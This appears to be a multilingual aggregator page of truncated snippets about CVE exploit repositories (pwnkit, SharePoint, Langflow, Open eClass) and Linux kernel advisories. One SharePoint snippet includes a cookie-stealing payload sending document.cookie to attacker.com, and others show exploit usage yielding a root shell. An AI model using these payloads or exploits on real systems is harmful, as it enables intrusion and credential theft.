CVE-2024-49112

LDAP Nightmare Un exploit para CVE-2024-49112 reportado por Yuki Chen @guhe120. Una vulnerabilidad en el Protocolo Ligero de Acceso a Directorios LDAP de Windows. Creado por SafeBreach Labs publicado el 1 de enero de 2025. Para el análisis técnico completo de la vulnerabilidad y cómo logramos...

CVE-2026-32201-exploit

概述 针对 CVE-2026-32201 的 Python 漏洞利用程序——Microsoft SharePoint Server 中的输入验证不当，允许未经身份验证的网络欺骗（C:L/I:L）。 受影响版本：SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 输出示例： root@kitploit: + 检测到 SharePoint。 正在向...

CVE-2021-4034

CVE-2021-4034 Exploit para la vulnerabilidad pwnkit del equipo de Qualys. Este exploit asume que gcc está presente en la máquina objetivo. root@kitploit: $ id uid=1001ayrx gid=1002ayrx groups=1002ayrx,27sudo $ ./setup.sh Ejecuta el siguiente comando en una sesión de bash: root@kitploit: while :; ...

CVE-2026-22241

CVE-2026-22241 : Open eClass Ejecución Remota de Código RCE Este exploit utiliza CVE-2026-22241 y automatiza el inicio de sesión, la creación de ZIP, el proceso de carga y proporciona una webshell directamente en el servidor, eliminándola automáticamente una vez que el exploit se completa...

CVE-2026-27966--RCE-in-Langflow

🚀 CVE-2026-27966 - Herramienta de Explotación RCE para Langflow Herramienta Todo-en-Uno para CVE-2026-27966 📋 Descripción Esta herramienta es un exploit todo-en-uno para CVE-2026-27966, una vulnerabilidad de Ejecución Remota de Código RCE en Langflow que permite a un atacante ejecutar comandos de...

CVE-2021-4034

CVE-2021-4034 漏洞利用 使用方法 root@kitploit: $ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root 临时修补 root@kitploit: chmo...

CVE-2021-4034

CVE-2021-4034 25 de enero de 2022 | An00bRektn Esta es una implementación en golang de CVE-2021-4034 basada en léase: descaradamente robada de la implementación de clubby789 de la vulnerabilidad descubierta por Qualys. Escribí una publicación en mi blog con más detalles sobre la vulnerabilidad,...

cve-2026-43512-poc

CVE-2026-43512 — Apache Tomcat DIGEST 认证绕过 可利用性分析结果： 根本原因已确认。但针对标准 UserDatabaseRealm 部署，端到端利用不可复现 。详情请参见分析。 目录 概述 受影响版本 根本原因 分析 仓库结构 要求 使用方法 预期输出 参考 免责声明 概述 CVE-2026-43512 是 Apache Tomcat 的 HTTP DIGEST 认证机制中的一个漏洞。方法 RealmBase.getDigest 在构造 A1 哈希输入之前，未验证 getPasswordusername 的返回值。当用户名在已配置的 Realm...

pkexec-exploit

pkexec-exploit Escalada de privilegios local en pkexec de polkit CVE-2021-4034 Resumen Polkit anteriormente PolicyKit es un componente para controlar los privilegios a nivel de sistema en sistemas operativos tipo Unix. Proporciona una forma organizada para que los procesos sin privilegios se...

CVE-2021-45007

CVE-2021-45007 Cross-Site Request Forgery Producto y versión afectados: Plesk Obsidian 18.0.37 Severidad: Alta Impacto: Enviar solicitudes con información del atacante Descripción: CSRF podría permitir al atacante enviar nuevas solicitudes porque no hay ninguna protección CSRFtoken enviada con la...

CVE-2026-1529

Herramienta de Explotación CVE-2026-1529 Keycloak CVE-2026-1529 : Keycloak - Registro de organización no autorizado mediante validación incorrecta del token de invitación ⚠️ ADVERTENCIA : Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado ...

cve-2021-43858

CVE-2021-43858 exploit MinIO 用户权限提升漏洞 exp 运行方式：go run exp.go...

Simple-CTF-Writeup

Simple-CTF-Writeup 专业的 TryHackMe Simple CTF 通关指南，涵盖枚举、CMS Made Simple SQL 注入（CVE-2019-9053）、凭据恢复、SSH 访问、通过 Vim 进行权限提升以及获取 root 权限。 TryHackMe - Simple CTF Writeup 这是 TryHackMe 上 Simple CTF 房间的完整通关指南，涵盖侦察、枚举、漏洞利用、凭据恢复、权限提升以及获取 flag。 房间信息 字段| 值 ---|--- 平台| TryHackMe 房间名称| Simple CTF 难度| 简单 分类| Web...

kernel: netfilter: conntrack: remove sprintf usage

A flaw was found in the Linux kernel's netfilter conntrack module. This vulnerability arises from the use of sprintf and insufficient buffer sizing in the manglecontentlen function, which can lead to a stack-out-of-bounds write. An attacker could potentially exploit this memory corruption issue t...

kernel: net: guard timestamp cmsgs to real error queue skbs

A flaw was found in the Linux kernel's networking component. This vulnerability allows a remote attacker to potentially access sensitive information or cause system instability. By sending specially crafted network packets, an attacker can exploit an issue in how the kernel handles timestamping f...

kernel: scsi: target: configfs: Bound snprintf() return in tg_pt_gp_members_show()

A flaw was found in the Linux kernel's SCSI target subsystem. This vulnerability, a buffer overflow, occurs in the tgptgpmembersshow function when processing long iSCSI IQN names. An attacker could potentially exploit this by providing a specially crafted input, leading to the disclosure of...

kernel: nvmet-rdma: handle inline data with a nonzero offset

A flaw was found in the nvmet-rdma component of the Linux kernel. This vulnerability arises from incorrect handling of inline data with a non-zero offset, which can lead to an integer underflow. An attacker could exploit this to cause the system to read beyond its allocated memory, potentially...

kernel: rhashtable: clear stale iter->p on table restart

A flaw was found in the Linux kernel. This vulnerability, known as a use-after-free, occurs in the rhashtable component when the system improperly handles hash table restarts. An attacker could potentially exploit this by causing the system to access memory that has already been released, which m...

Terrminus-CVE-2026-2406

Terminus - Escáner y Marco de Explotación CVE-2026-24061 Un motor de análisis de seguridad para la vulnerabilidad de omisión de autenticación y escalada de privilegios Telnet NEWENVIRON CVE-2026-24061. Resumen Terminus es una herramienta profesional de investigación de seguridad diseñada para...

Exploit-Mapper

Exploit Mapper 一个全面的漏洞管理平台，可分析安全扫描报告、利用漏洞情报丰富漏洞数据，并提供可操作的风险评分以优先修复。 特性 多格式导入 ：支持来自各种扫描器（Nessus、Qualys、Arctic Wolf、OpenVAS 等）的 CSV 和 Excel 漏洞报告 自动列检测 ：智能将扫描器特有的列名映射到标准字段 漏洞利用丰富 ：自动查询 CISA KEV（已知被利用漏洞）和 Exploit-DB 风险评分引擎 ：基于 CVSS、漏洞利用可用性和资产关键性提供上下文风险评分 手动添加漏洞（非系统） ：能够手动添加扫描器无法检测到的漏洞；例如：应用程序 XYZ 使用了...